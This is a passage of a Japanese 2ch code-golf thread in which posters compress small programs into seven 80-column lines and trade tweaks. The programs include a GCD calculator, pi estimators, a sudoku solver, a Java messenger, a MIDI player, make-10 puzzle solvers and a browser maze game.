ついでに7行テトリスの人↓
http://www.isl.cs.gunma-u.ac.jp/~shingo/make/7line/7line.html
0314デフォルトの名無しさん
NGNGそいつ痛いキャラになってしまったからなぁ
0315デフォルトの名無しさん
NGNG>>311が本人じゃないの?
0316デフォルトの名無しさん
NGNG0317デフォルトの名無しさん
NGNG0318デフォルトの名無しさん
NGNGhttp://www.isl.cs.gunma-u.ac.jp/~shingo/make/write/phone1-1.html
これを見る限り、ちょっと痛いっすよ。
なんていうのかこう、笑いの壷とか面白いこと、
他人が楽しめることとかもうちょっと考えてみたほうがいいかと。
これからも7行プログラミングネタ頑張って作成してくだちぃ。
0319デフォルトの名無しさん
NGNGアイタタタ
(再読)
アイター
0320part2の1
NGNGと、言ってみるテスト(・∀・)
0321デフォルトの名無しさん
NGNG0322デフォルトの名無しさん
NGNG>>169-171
0323デフォルトの名無しさん
NGNG自分の作品?もう少し難しい(79*7に収まりそうに無い)お題に挑戦してみよう
0324デフォルトの名無しさん
NGNG違う。参考までにしてるだけ。
0325デフォルトの名無しさん
NGNGこのあたりで、7行改め553文字以内という制限にしてみては?
つまり適当に改行を入れてコンパイルが通るようにすればOKとする。
例えば
#include<windows.h>int main(...もOKとなって少し制限が緩くなる。
0326デフォルトの名無しさん
NGNGスレ違いになるので却下。
0327デフォルトの名無しさん
NGNG独り立ちしたと言う事で。
>>325
それだとあまり変わらないから、1レスプログラミング見たいなのが良いな。
工夫しなくてもいろんなのが作れてしまうが。
0328デフォルトの名無しさん
NGNG0329デフォルトの名無しさん
NGNG0330デフォルトの名無しさん
NGNG0331デフォルトの名無しさん
NGNGっていうなら、お前が書けばいいだろって思う。
0332デフォルトの名無しさん
NGNG0333デフォルトの名無しさん
NGNGそういう反応がレベルが下がったと言われる所以では?
パート1の猛者が何でいなくなったのかを考えれば自然とわかるはず…
0334デフォルトの名無しさん
NGNG#include <stdio.h>
unsigned int gcd(unsigned int a,unsigned int b){if(a<b)a^=b;b^=a;a^=b;
a%=b;if(!a)return b;else return gcd(b,a);}
int main(void){unsigned int a,b,c;while(1){printf("最大公約数を求めます\n");
printf(数字を2つ入力してください");"scanf("%d%d",&a,&b);if(a&&b)break;printf(
"0は入力しないでください\n");}c=gcd(a,b);printf("%dと%dの最大公約数は%dです",a,
b,c);return 0;}
0335デフォルトの名無しさん
NGNG...7行スレなんだからせめてこのくらいは縮めてから書こうよ。
unsigned int gcd(unsigned int a,unsigned int b){return b?gcd(b,a%b):a;}
0336デフォルトの名無しさん
NGNG0337デフォルトの名無しさん
NGNGてきとうに5行。
#include <stdio.h>
typedef unsigned int U;U gcd(U a,U b){return b?gcd(b,a%b):a;}int main(void){
U a,b,c;while(1){printf("最大公約数を求めます\n数字を2つ入力してください");
scanf("%d%d",&a,&b);if(a&&b)break;printf("0は入力しないでください\n");}
c=gcd(a,b);printf("%dと%dの最大公約数は%dです",a,b,c);return 0;}
0338デフォルトの名無しさん
NGNG#include <stdio.h>
typedef unsigned int U;U g(U a,U b){return b?g(b,a%b):a;}int main(void){U a,b,
c;while(1){scanf("%d%d",&a,&b);if(a&&b)break;}c=g(a,b);printf("GCD(%d,%d)=%d"
,a,b,c);return 0;}
0339デフォルトの名無しさん
NGNGが、コンパイラによってはreturnがないパスがあるとか言うかもしれん。
とりあえず手元のclとgccは何も言わなかったが…
#include <stdio.h>
typedef size_t U;U g(U a,U b){return b?g(b,a%b):a;}int main(){U a,b;for(;;){
scanf("%d%d",&a,&b);if(a&&b){printf("GCD(%d,%d)=%d",a,b,g(a,b));return 0;}}}
0340デフォルトの名無しさん
NGNG負数と負数のGCDは負数で計算出しちまうが…数学的にどうなんでしょう?
#include <stdio.h>
int g(int a,int b){return b?g(b,a%b):a;}int main(){int a,b;for(;;){scanf(
"%d%d",&a,&b);if(a*b>0)break;}printf("GCD(%d,%d)=%d",a,b,g(a,b));return 0;}
っていうかなにやってるんだ俺_| ̄|○
0341デフォルトの名無しさん
NGNG0342デフォルトの名無しさん
NGNG#include <stdio.h>
g(a,b){return b?g(b,a%b):a;}main(a,b){scanf("%d%d",&a,&b);printf("%d",g(a,b));}
0343既出の最強プログラム
NGNG034462
NGNG円周率を7行で
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
int main(){int i,num=10000000;float a,b,answer,counter=0,r=30000;
srand((unsigned int)time(NULL));for(i=0;i<num;){if((a=rand())>r)continue;
if((b=rand())>r)continue;i++;if(((a-r/2)*(a-r/2)+(b-r/2)*(b-r/2))<(r*r/4))
counter++;}answer=(counter/num)*4;printf("%2.5f",answer);return 0;}
0345円周率
NGNG#include<time.h>
#include<stdlib.h>
初心者なりにがんばってみました
円周率
int main(){int i,num=10000000;float a,b,answer,counter=0,r=30000;
srand((unsigned int)time(NULL));for(i=0;i<num;){if((a=rand())>r)continue;
if((b=rand())>r)continue;i++;if(((a-r/2)*(a-r/2)+(b-r/2)*(b-r/2))<(r*r/4))
counter++;}answer=(counter/num)*4;printf("%2.5f",answer);return 0;}
0346デフォルトの名無しさん
NGNG0347デフォルトの名無しさん
NGNGpart2の827見れ。
100万桁くらいは求められるよ。
でも、スレを盛り上げようとしてるのはわかるから気にしないけどねヽ(´ー`)ノ
0348デフォルトの名無しさん
NGNGpart2の830見れ。
0349337
NGNG数式使わずに原始的な針投げ式使ってるあたりが高感度高いね。
というわけでざっと縮めてこんなもんかな?
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main(){int i,n=9999999;float a,b,c=0,r=RAND_MAX;srand((unsigned)time(NULL)
);for(i=0;i<n;i++){a=rand();b=rand();if(a*a+b*b+r*r/4<a*r+b*r)c++;}printf("%2"
".5f",c/n*4);return 0;}
0350デフォルトの名無しさん
NGNG○好感度
なにやってんだか…_no
0351デフォルトの名無しさん
NGNGmainがreturnしなかったり、timeの戻り値がunsigned intだと仮定してたり、
NULLが0だと仮定してたり色々気持ち悪いけど5行本体2行。
…微妙、か?
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
main(){int i,n=9<<21;double a,b,c=0,r=RAND_MAX;srand(time(0));for(i=0;i<n;
i++){a=rand();b=rand();if(a*a+b*b+r*r/4<a*r+b*r)c++;}printf("%2.5f",c/n*4);}
0352デフォルトの名無しさん
NGNG#include <time.h>
#include <stdlib.h>
main(){int i,n=9<<21;double a,b,c=0,r=RAND_MAX;srand(time(0));for(i=0;i<n;
i++){a=rand();b=rand();if(a*a+b*b+r*r/4<a*r+b*r)c++;}return printf("%2.5f",c/n*4);}
0353デフォルトの名無しさん
NGNGコード上では0だが。
srand(time(0));のことを言っているんだろうが、time.hをインクルードしているから何の問題もない。
0354デフォルトの名無しさん
NGNG激しく萎え
0355デフォルトの名無しさん
NGNGprintfの戻り値をreturnするのはいいアイデアだが、
一行80桁の制約のためちと惜しい。
(ヘッダ省略)
int main(){int i,n=9<<21;double a,b,c=0,r=RAND_MAX;srand(time(0));for(i=0;i<n;
i++){a=rand();b=rand();if(a*a+b*b+r*r/4<a*r+b*r)c++;}return printf("%2.5f",c/n
*4);}
*4);}が気になるな
>>353
そうだったのか…
手元にあるtimeのマニュアル見ると「NULLも指定できる」と書いてあったんでな。
NULLが0かどうかは(Cでは)処理系依存じゃなかったか?
C++だと0らしいけど。
0356デフォルトの名無しさん
NGNG> NULLが0かどうかは(Cでは)処理系依存じゃなかったか?
1.NULLは0。
2.0はヌルポインタ。
3.ヌルポインタが0番地かどうかは処理系依存。
0357デフォルトの名無しさん
NGNG#include <time.h>
#include <stdlib.h>
int main(){int i=0,n=9<<21;double a,b,c=0,r=RAND_MAX;srand(time(0));while(i<n){a
=rand();b=rand();if(a*a+b*b+r*r/4<a*r+b*r)c++;i++;}return printf("%.5f",c/n*4);}
0358デフォルトの名無しさん
NGNGint main(){int i,n=9<<21;double a,b,c=0,r=RAND_MAX;srand(time(0));for(i=n;i--;
c+=(a*a+b*b)/r+r/4<a+b)a=rand(),b=rand();return printf("%2.5f\n",c/n*4);}
0359デフォルトの名無しさん
NGNGNULLという語を使うのは文書だけにして、
いいかげん#undef NULLしたまえ。
0360デフォルトの名無しさん
NGNG略
int main(){int i=9<<21,n=i;float a,b,c=0,r=RAND_MAX;srand(time(0));for(;i--;c+=
(a*a+b*b)/r+r/4<a+b)a=rand(),b=rand();return printf("%2.5f",c/n*4);}
まあNULL議論はやめようぜ。とりあえずのことスレ違いだ。
0361デフォルトの名無しさん
NGNG0362デフォルトの名無しさん
NGNG#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int i=9<<21,n=i;float a,b,c,r=RAND_MAX;main(){srand(time(0));for(;i--;c+=(a*a+b
*b)/r+r/4<a+b)a=rand(),b=rand();return printf("%2.5f",c/n*4);}
mainの戻り型、省略したらintになるとおもったけどだめけ?
それと、大域変数は自動的に0に初期化されます。
0363デフォルトの名無しさん
NGNG0364デフォルトの名無しさん
NGNGどちらもその通り
0365デフォルトの名無しさん
NGNGhoge.c:4: initializer element is not constant
ってエラーが出るんですが。gcc (GCC) 3.2 20020927 (prerelease)
0366デフォルトの名無しさん
NGNG#include <stdio.h>
#include <stdlib.h>
time();float a,b,c,r=RAND_MAX;main(){int n=9<<21,i=n;srand(time(0));for(;i--;c+=
(a*a+b*b)/r+r/4<a+b)a=rand(),b=rand();return printf("%.5f",c/n*4);}
$ gcc -Wall hoge.c
hoge.c:3: warning: type defaults to `int' in declaration of `time'
hoge.c:3: warning: data definition has no type or storage class
hoge.c:3: warning: return type defaults to `int'
$ cl /W3 hoge.c
hoge.c(4) : warning C4244: '=' : 'int' から 'float' に変換しました。データが失われているかもしれません。
hoge.c(4) : warning C4244: '=' : 'int' から 'float' に変換しました。データが失われているかもしれません。
0367362
NGNGすまんです。脊髄反射で変形したから。
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int i,n=9<<21,a,b,r=RAND_MAX;float c;main(){for(srand(time(0));i++<n;c+=(a*a+b*
b)/r<r)a=rand(),b=rand();return printf("%f",c/n*4);}
これでVC++ではエラーなし。
b=rand(a=rand());ってすると警告出るけど一応おっけ。1Byte縮む。
gccは入れてないからわかんないけどたぶん大丈夫・・・。
0368デフォルトの名無しさん
NGNGむ・・・a,bがintになってますよ。
$ cl hoge.c
$ ./hoge.exe
3.141047
$ ./hoge.exe
3.141385
$ gcc -Wall hoge.c
hoge.c:4: warning: return type defaults to `int'
$ ./a.exe
3.555556
$ ./a.exe
3.555556
$ ./a.exe
3.555556
int n=9<<21,i=nをmainの中に入れればいいのだけでは?
i,nは0で初期化する必要もないわけで寿司。
>>366を参照(>>362さんのを改良したやつですよ)
0369デフォルトの名無しさん
NGNG今の流れはそれでいいとして、
誰か「これを7行で?」というネタを振ってくれ
0370デフォルトの名無しさん
NGNG0371デフォルトの名無しさん
NGNGうむ、既出なり。 part3 の 527, 529
0372デフォルトの名無しさん
NGNG0373デフォルトの名無しさん
NGNG0374デフォルトの名無しさん
NGNG0375デフォルトの名無しさん
NGNGimport random;int main(){uint i=0,n=9<<21;real a,b,c=0,r=i.max;for(;i<n;i++){a=
rand(),b=rand();if(a*a+b*b+r*r/4<a*r+b*r)c++;}printf("%2.5Lf",c/n*4);return 0;}
Cと異なり#includeで一行取らないぞ!これからはDの時代だ!w
0376デフォルトの名無しさん
NGNG名前は知っていても触ったことがないんだよね
0377362
NGNGあんまりテクニカルには縮めてないけど。
#include <stdio.h>
int A,m[81],i=81,c;FILE*F;void S(int*s){int m[81],i=81,j=i;for(;j--;!m[j]?i=j:0
)m[j]=s[j];if(i<81)for(j=48;++j<58;A?m[i]=j,S(m),m[i]=0:0)for(A=1,c=9;c--;j==m[
c*9+i%9]?A=0:0,j==m[i/27*27+c/3*9+i/3%3*3+c%3]?A=0:0)j==m[i/9*9+c]?A=0:0;else
for(j=81;j--;j%9?0:putchar(10))putchar(m[j]);}main(C,V)char**V;{for(C>1?F=fopen
(V[1],"r"):0;F&&i&&(c=getc(F))+1;c-10?m[--i]=c>48&c<58?c:0:0);i?puts(C>1?F?
"Strange Data":"IO Error":"No Argument"):S(m);return 0;}
使い方:
コマンドラインから、ナンプレのデータのファイル名を引数にとる。
データファイルの形式は、
__5___84_
_1___2__9
7_3_8___2
___6___9_
__7___4__
_3___5___
4___6_9_5
5__4___1_
_28___7__
のような感じ。
改行文字は読み飛ばし。1-9の数字のみ認識して他の文字は空白とみなす。
存在する全ての解を吐き出すので、問題作った時に複数の解がないかチェックできる。
0378デフォルトの名無しさん
NGNG7行でメール感染型ウイルスも簡単に作れるだろうし、何作るかなぁ?
0379デフォルトの名無しさん
NGNG0380デフォルトの名無しさん
NGNGウィルスはいちおう建前上はだめってことで。
何とかメッセンジャーのような、メッセージのやり取りをするものは、どうか?
0381デフォルトの名無しさん
NGNG0382デフォルトの名無しさん
NGNG0383デフォルトの名無しさん
NGNG0384デフォルトの名無しさん
NGNG0385デフォルトの名無しさん
NGNG年賀状へのこだわりにワロタ
>>380 いいかも。誰か1レスぐらいのを上げて皆で縮めていくというのはどうだろうか。
俺はその誰かさん待ち。
0386デフォルトの名無しさん
NGNGP2Pじゃなくとも、コンピュータ間のメッセージやりとりなら出来そう。
久々に現役復帰して作ってみるかな。でも今日はもう寝る。
0387デフォルトの名無しさん
NGNG使用方法:起動して"相手のコンピュータ:message"を入力
例:
localhost:test
Message:test
import java.io.*;import java.net.*;public class message{public static void main
(String s[]){new Thread(){public void run(){try{for(;;){ServerSocket s=new
ServerSocket(91);System.out.println("Message:"+new BufferedReader(new
InputStreamReader(s.accept().getInputStream())).readLine());s.close();}}catch(
Exception e){System.out.println("err");}}}.start();for(;;){try{String x=new
BufferedReader(new InputStreamReader(System.in)).readLine();int p=x.indexOf(':'
);OutputStreamWriter a=new OutputStreamWriter(new Socket(x.substring(0,p),91).
getOutputStream());a.write(x.substring(p+1)+"\n");a.flush();a.close();}catch(
NullPointerException e){}catch(Exception e){System.out.println("err");}}}}
実はJavaのプログラムはほぼ初めてです。9行なので、7行はすぐでしょう。
0388デフォルトの名無しさん
NGNG0389387
NGNGJava Messenger
使用方法:起動して"相手のコンピュータ:message"を入力
例:
127.0.0.1:メッセージ
Message:メッセージ
import java.io.*;import java.net.*;class m{public static void main(String[] a){
for(new Thread(){public void run(){try{for(ServerSocket s=new ServerSocket(91);
;System.out.print("message:"+w(s.accept().getInputStream())));}catch(Exception
e){}}}.start();;)try{a=w(System.in).split(":",2);OutputStream o=new Socket(a[0]
,91).getOutputStream();o.write(a[1].getBytes());o.close();}catch(Exception e){e
.printStackTrace();}}static String w(InputStream i)throws Exception{return new
BufferedReader(new InputStreamReader(i)).readLine()+"\n";}}
たまに起動しても反応しないことがありますが、そのときは再起動してください。
0390デフォルトの名無しさん
NGNG#include <stdio.h>
#include <windows.h>
FILE*m;int d,r,c,p,u,o;g(){return feof(m)?0:getc(m);}f(s){while(s--)g();}z(){for
(c=~(r=0);c>>7;)r=r<<7|(c=g())&127;}main(n,v)char**v;{HMIDIOUT h;midiOutOpen(&h,
-1,0,0,0);m=fopen(v[1],"rb");f(12);d=g()<<8|g();f(8);while(!feof(m)){z();Sleep(p
*r/d>>10);u=(c=g())>>4;if(u-15){c=u<8?u=o>>4,o|c<<8:(o=c)|g()<<8;u<12|u>13?c+=g(
)<<16:0;midiOutShortMsg(h,c);}else c-255?z(),f(r),1:g()-81?z(),f(r):(g(),p=g()<<
16|g()<<8|g());}}
・Sys.Exclusiveは送出しません
・BCCでコンパイル確認
・8行……もう少し短くなるかも
0391390
NGNGFILE*m;char msg[][20]={"NoteOff","NoteOn","AfterTouch","CtrlChange","ProgChange"
,"ChPress","PitchBend"};int d,r,c,p,u,o,l=0;g(){return feof(m)?0:getc(m);}z(){
for(c=~(r=0);c>>7;)r=r<<7|(c=g())&127;}f(s){while(s--)g();}main(n,v)char**v;{
HMIDIOUT h;midiOutOpen(&h,-1,0,0,0);m=fopen(v[1],"rb");f(12);d=g()<<8|g();f(8);
while(!feof(m)){z();l+=r;Sleep(p*r/d>>10);u=(c=g())>>4;if(u-15){c=u<8?u=o>>4,o|c
<<8:(o=c)|g()<<8;u<12|u>13?c+=g()<<16:0;printf("%4d.%d %6X %2d [%s]\n",l/d/4,
l%(d*4)/d+1,c,o&15,msg[u-8]);midiOutShortMsg(h,c);}else c-255?z(),f(r),1:g()-81?
z(),f(r):(g(),p=g()<<16|g()<<8|g());}}
0392390
NGNGなんどもすんません。
#include <stdio.h>
#include <windows.h>
FILE*m;int d,r,c,p,u,o,e=1;g(){return feof(m)?e=0:getc(m);}z(){for(c=~(r=0);c>>7
;)r=r<<7|(c=g())&127;}f(s){while(s--)g();}main(n,v)char**v;{HMIDIOUT h;m=fopen(v
[1],"rb");f(12);d=g()<<8|g();f(8);for(midiOutOpen(&h,-1,0,0,0);e;)z(),Sleep(p*r/
d>>10),u=(c=g())>>4,u-15?c=u<8?u=o>>4,o|c<<8:(o=c)|g()<<8,u<12|u&2?c+=g()<<16:0,
midiOutShortMsg(h,c):c-255?z(),f(r):g()-81?z(),f(r):(g(),p=g()<<16|g()<<8|g());}
0393デフォルトの名無しさん
NGNGg()<<8|g()の類を回避しての7行化を希望
0394反応してもらえなかった悲しい職人
NGNGgccでリンクできなかったので、実際に動くかどうか検証はしていないけど、
うまい具合に実装していて感心するところが多かった。このスレ初参加?
f、z、g関数の使い方は今後の参考になる。
みんなもちゃんといい作品には反応してやろうよ。392のレベルはかなり高いぞ。
0395デフォルトの名無しさん
NGNG0396デフォルトの名無しさん
NGNG評価順序が不定な場所の解釈が間違ってたらr<<8|cからr|c<<8*sに。
#include<stdio.h>
#include<windows.h>
FILE*m;int r,c,p,u,o,e=1;g(){return c=feof(m)?e=0:getc(m);}f(s){for(r=0;s--;r=s
<0?s*=c>>7,r<<7|c&127:r<<8|c)g();return r;}main(d,v)char**v;{HMIDIOUT h;m=fopen
(v[1],"rb");f(12);d=f(2);f(8);for(midiOutOpen(&h,-1,0,0,0);e;u-15?u<8?u=o>>4:(o
=c,g()),r=c<<8|o,midiOutShortMsg(h,u-12U>1?r|g()<<16:r):c>254&&g()==81?g(),p=f(
3):f(f(-1)))Sleep(p*f(-1)/d>>10),u=g()>>4;return midiOutClose(h);}
0397デフォルトの名無しさん
NGNG紙が叩かれるスレでもあります
0398デフォルトの名無しさん
NGNG0400supermathmania ◆ViEu89Okng
NGNG#include<stdio.h>
#include<math.h>
#include<stdlib.h>
main(int argc,char** argv){double x,y=0.,m=0.;long i;if(argc<2){exit(0);}
x=atof(argv[1]);for(i=0;i<=1000000;i++){m+=(x+i)*log(1/(x+n)+1)-1);}
y=sqrt(8*atan(1))*pow(x,x-.5)*exp(-x)*exp(m);
printf("G(%f)=%f\n",x,y);return 0;}
0401supermathmania ◆ViEu89Okng
NGNG#include<stdio.h>
#include<math.h>
#include<stdlib.h>
main(int argc,char"" argv){double x,y=0.,m=0.;long i;if(argc<2){exit(0);}
x=atof(argv[1]);for(i=0;i<=1000000;i++){m+=(x+i+.5)*log(1/(x+i)+1)-1;}
y=sqrt(8*atan(1))*pow(x,x-.5)*exp(-x)*exp(m);
printf("G(%f)=%f\n",x,y);return 0;}
0402supermathmania ◆ViEu89Okng
NGNG0403デフォルトの名無しさん
NGNG0404デフォルトの名無しさん
NGNG4桁の数字を10にする証明
http://pc2.2ch.net/test/read.cgi/tech/1063724453/
これ?
0405デフォルトの名無しさん
NGNGJavaScriptで普通に書いて30〜40行くらいのを見たことがある。
ダイブ前なので、URLは失念。有名どこだったのは確かだが・・・
0406デフォルトの名無しさん
NGNG0407デフォルトの名無しさん
NGNGわーいヽ( ´ー`)丿 楽しみにしてるよ
0408デフォルトの名無しさん
NGNGカッコ(・∀・)イイ!!
0409デフォルトの名無しさん
NGNGmainメソッドの引数、
String[] a
を
String[]a
にして-1Byte。
やったね(・∀・)!!
0410デフォルトの名無しさん
NGNG>>403
@U=qw(+ - * /);for($o=-1;++$o<64;){push@u,[$U[$o&3],$U[$o>>2&3],$U[$o>>4&3]]}
$_='(v0x0v1)x1(v2x2v3),((v0x0v1)x1v2)x2v3,v0x0(v1x1(v2x2v3)),v0x0((v1x1v2)x'.
'2v3),(v0x0(v1x1v2))x2v3';s/(\w)(.)/\$$1\[$2]/g;sub c{my%c;map{return 1 if($c
{$_}++)}(split//,$_[0]);0}@e=split/,/;for($n=1234;$n<9999;){if(!$h{$k=join'',
sort @v=split//,$n}){for($o=-1;++$o<64;){@x=@{$u[$o]};foreach $e(@e){$_=eval
"\"$e\"";if(eval==10){$h{$k}=1;print "$n : $_\n";$o=64;last}}}}while(++$n=~0
||$n<9999&&c$n){}}
暇な人はuse strict;my(@U,@u,$o,@e,$n,%h,$k,@v,@x,$e);を突っ込んだり
0や数字の重複を許すようにしてみて遊んでくだちい。
0411デフォルトの名無しさん
NGNGちなみに重複を許す場合は 9999 : ((9*9)+9)/9 に注意。
0412362
NGNG#include <stdio.h>
int i,j=10000,k;double n[4];char*s="+-*/",c[4][14];void f(double*l,char c[][14]
,int n){int b,j;double x,y,m[4];char*p,d[4][14];--n||*l>10.001|*l<9.999||puts(*
c);for(b=n;b--;){x=l[b],y=l[b+1];for(i=n;i--;sprintf(d[i],"%s",c[i+(i>b)]))m[i]
=l[i+(i>b)];sprintf(d[b],"(%s %s)",c[b],c[b+1]);for(j=4;j--;f(m,d,n)){m[b]=j?j-
1?j-2?y*y<.0001?999:x/y:x*y:x-y:x+y;for(p=c[b];*p;p++);d[b][p-c[b]+1]=s[j];}}}
main(){for(;j--;f(n,c,4))for(k=j,i=4;i--;k/=10)*c[i]=(n[i]=k%10)+48;return 0;}
9999→0000までの全ての解を吐き出します。
0413デフォルトの名無しさん
NGNG@U=qw(+ - * /);@u=map[@U[$_&3,$_>>2&3,$_>>4&3]],0..63;$_='(v0x0v1)x1(v2x2v3),'.
'((v0x0v1)x1v2)x2v3,v0x0(v1x1(v2x2v3)),v0x0((v1x1v2)x2v3),(v0x0(v1x1v2))x2v3';
s/(\w)(.)/\$$1\[$2]/g;@e=split/,/;for$n(1234..9998){if(!$h{$k=join'',sort@v=
split//,$n}){O:for(0..63){@x=@{$u[$_]};for$e(@e){$_=eval"\"$e\"";if(eval==10){
$h{$k}=1;print"$n : $_\n";last O}}}}1while++$n=~0||$n<9999&&do{my%c;grep$c{$_}
++,$n=~/./g}}
0414410
NGNGちょっと413は出力が違うみたいですがそれを参考に
sub c{my%c;map{return 1 if($c{$_}++)}$n=~/./g;0}@e=grep s/(\w)/'$x['.(-1+ord($
1)&7).']'/eg,qw((DAE)B(FCG) ((DAE)BF)CG DA(EB(FCG)) DA((EBF)CG) (DA(EBF))CG);@
U=qw(+ - * /);@u=map[@U[$_&3,$_>>2&3,$_>>4&3]],0..63;for$n(1234..9998){if(!$h{
$k=join'',sort@v=split//,$n}){for$o(@u){@x=(@$o,@v);for$e(@e){$_=eval"\"$e\"";
if(eval==10){$h{$k}=1;print"$n:$_\n";goto O}}}O:}while(++$n=~0||$n<9999&&c){}}
0415デフォルトの名無しさん
NGNG>>410-414 GJ (+ - * /)
['.(-1
↑406
0416デフォルトの名無しさん
NGNG# -d : 同じ数字を使わない
# -o : 1組の数字につき1つの答を出力 (出現順序を無視)
# -z : 0を含めない
${"$_"}=1for join('',@ARGV)=~/\w/g;@U=qw(+ - * /);@u=map[@U[$_&3,$_>>2&3,$_>>4&
3]],0..63;for(19..9999){my%c;next if$h{join'',sort@v=($n=sprintf'%04d',$_)=~
/./g}++&&$o||$z&&$n=~/0/||$d&&(grep$c{$_}++,@v);O:for(@u){@x=(@$_,@v);for(map
eval"\"$_\"",grep s/(\d)/\$x[$1]/g,qw/(304)1(526) ((304)15)26 30(41(526))
30((415)26) (30(415))26/){if(10==eval){print"$n:$_\n";last O}}}}
漏れがある気がするので直して下さい。
0417デフォルトの名無しさん
NGNGT=[-1,-N,+1,+N];function S(){if(Z==504){for(R=0;R<H;R++) M[R]=(R<N||R>506||!
(R%N)||R%N==22)?B:"<font color=white>_</font>";for(R=0;R<100;R++){I=48+
Math.floor(R/10)*(N*2)+((R%10)*2);M[I]=M[I+T[Math.floor(Math.random()*4)]]=B;
}M[Z]="G";Z=24;}Z=((K>36 && K<41)&&(M[Z+T[K-37]]!=B))?Z+T[K-37]:Z;K=0;G="";
for(R=0;R<H;R++){G+=(R==Z)?"●":M[R];G+=(R%N==22)?"<BR>":"";}
document.body.innerHTML=G;setTimeout(S,99);}S();</script></body>
0418417
NGNG移動は、←↑↓→
Gがゴールです。。。
0419デフォルトの名無しさん
NGNG0420デフォルトの名無しさん
NGNGG+=(R%N==22)?"<BR>":"";
を
G+=(R-Z)?M[R]:"●";
G+=(R%N-22)?"":"<br>";
にしても問題ないかな?
0421417
NGNG棒倒し法の手抜きです。
すでに壁がある場合の処理が入ってないので。。。
0422デフォルトの名無しさん
NGNG0423デフォルトの名無しさん
NGNGS?
0424デフォルトの名無しさん
NGNG追加: E="<a style=color:#";
修正: "●" → E+"0f0>●</a>"
修正: "<font color=white>_</font>" → E+"fff>_</a>"
0425デフォルトの名無しさん
NGNG俺は今から見る。
0426デフォルトの名無しさん
NGNG0427417
NGNG<body onKeyDown=K=event.keyCode><script>B="■";M=[H=529];N=23;T=[-1,-N,+1,+N];
K=0;Z=504;function S(){if(Z==504){for(R=0;R<H;R++)M[R]=(R<N||R>506||!(R%N)||R%
N==22)?B:"<font color=white>_</font>";for(R=0;R<100;R++){I=48+Math.floor(R/10
)*N*2+R%10*2;U=Math.random();J=(R<10)?Math.floor(U*4):(Math.floor(U*3)+2)%4;M[
I]=M[I+T[(M[I+T[J]]==B)?J+2:J]]=B;}M[Z]="G";Z=24;}Z=((K>36 && K<41)&&(M[Z+T[K
-37]]!=B))?Z+T[K-37]:Z;K=0;G="";for(R=0;R<H;R++){G+=(R-Z)?M[R]:"●";G+=(R%N-22
)?"":"<BR>";}document.body.innerHTML=G;setTimeout(S,99);}S();</script></body>
0428デフォルトの名無しさん
NGNGその連投といい、ageといい、自作自演といい、嫌がらせ?
0429デフォルトの名無しさん
NGNGなんかうざい人がいるからsageとけ。
0430デフォルトの名無しさん
NGNG<body onKeyDown=K=event.keyCode><script>B="■";M=[H=529];N=23;T=[-1,-N,+1,+N];K
=0;Z=504;setInterval(function S(){if(Z==504){for(R=0;R<H;R++)M[R]=(R<N||R>506||
!(R%N)||R%N==22)?B:" ";for(R=0;R<100;R++){I=48+Math.floor(R/10)*N*2+R%10*2;U=
Math.random();J=(R<10)?Math.floor(U*4):(Math.floor(U*3)+2)%4;M[I]=M[I+T[(M[I+T[
J]]==B)?J+2:J]]=B}M[Z]="G";Z=24}Z=((K>36 && K<41)&&(M[Z+T[K-37]]!=B))?Z+T[K-37
]:Z;K=0;G="";for(R=0;R<H;R++){G+=(R-Z)?M[R]:"●";G+=(R%N-22)?"":"\n"}document.
body.innerHTML="<pre>"+G},99)</script>
めんどくさいので縮めただけ
組みなおせば6行いけんるんじゃない?
0431デフォルトの名無しさん
NGNG理由もなく自演とか言うのやめろよ。
まぁどうせ皆ここをかちゅとかのお気に入りリストに入れて巡回しているから
ageなくてもレスがついたのわかるんだけどなー
0432デフォルトの名無しさん
NGNG# -c : 1組の数字に対し1つの計算式のみ出力
# -d : 同じ数字を使わない
# -o : 1組の数字に対し1つの出現順序のみ出力
# -z : 0を含めない
${"$_"}=1for map/\w/g,@ARGV;for('0019'..'9999'){my%c;$n=$_;next if$h{"@{[sort@v
=/./g]}"}++&&$o||$z&&/0/||$d&&(grep$c{$_}++,@v);O:for(map[@{[qw(+ - * /)]}[$_&3
,$_>>2&3,$_>>4&3]],0..63){@x=(@$_,@v);eval==10&&do{print"$n:$_\n";$c&&last O}
for grep s/(\d)/$x[$1]/g,qw/(304)1(526) ((304)15)26 30(41(526)) 30((415)26)
(30(415))26/}}
これで全パターン出るかな。
0433デフォルトの名無しさん
NGNG後半2行に電波の香り
0434デフォルトの名無しさん
NGNGそんなこともないか…。
0435デフォルトの名無しさん
NGNG以前ム板で作られた通称「2ch圧縮」なら、7行になると思われるでし。
0436デフォルトの名無しさん
NGNG「……1…>1……>>1……>>1!>>1!>>1!!
気に入らない……なぜ魔女の邪魔をする!なぜ私の自由にさせない!?
もう少しで完全なる2ch圧縮の世界が完成するというのに……
邪魔はゆるさんぞ……>>1の存在など、2ch圧縮のアルゴリズムに溶け込んでしまうがいい!!
激しい痛みとともに思考が分断され、スレも過去ログも極限にまでうすめられるのだ。
レスもできず、ネタも考えられず、思いすらない!そんな世界に、>>1を送ってやろう!
>>1にできることは何も……いや、>>1にできることは、唯一で永遠の存在である私を崇めること!!」
これのこと?
0437デフォルトの名無しさん
NGNG手元にとっておいたものをうpします。
http://do.sakura.ne.jp/~junkroom/cgi-bin/megabbs/readres.cgi?bo=lounge&vi=999294620&res=97&fi=no
0438デフォルトの名無しさん
NGNG0439デフォルトの名無しさん
NGNGそれって元ネタはアルティミシアのコピペじゃん?
0440デフォルトの名無しさん
NGNG0441デフォルトの名無しさん
NGNGどーでもいいけど。
0442デフォルトの名無しさん
NGNGモニタの関係で、80*7キャラ限定だろうね。
まぁ、それなりのものは出来るかと。
もれ、N-BASICを使って5行住所録とか書いてたし。
0443デフォルトの名無しさん
NGNGうp汁!
0444デフォルトの名無しさん
NGNG0445デフォルトの名無しさん
NGNGN88じゃないが、MSX/FANのファンダムの1画面プログラムはすばらしかった。
同1行プログラムが、このスレの発想に非常に近い。
0446デフォルトの名無しさん
NGNGプロポシェは結構採用してくれた
0447デフォルトの名無しさん
NGNG0448デフォルトの名無しさん
NGNG0449デフォルトの名無しさん
NGNGプログラムポシェットなつかしい!
見てるだけで楽しい雑誌だったよ
0450デフォルトの名無しさん
NGNGどこ行った?
0451デフォルトの名無しさん
NGNGWebProgの方。
http://pc2.2ch.net/test/read.cgi/php/1036141603/17n
0452デフォルトの名無しさん
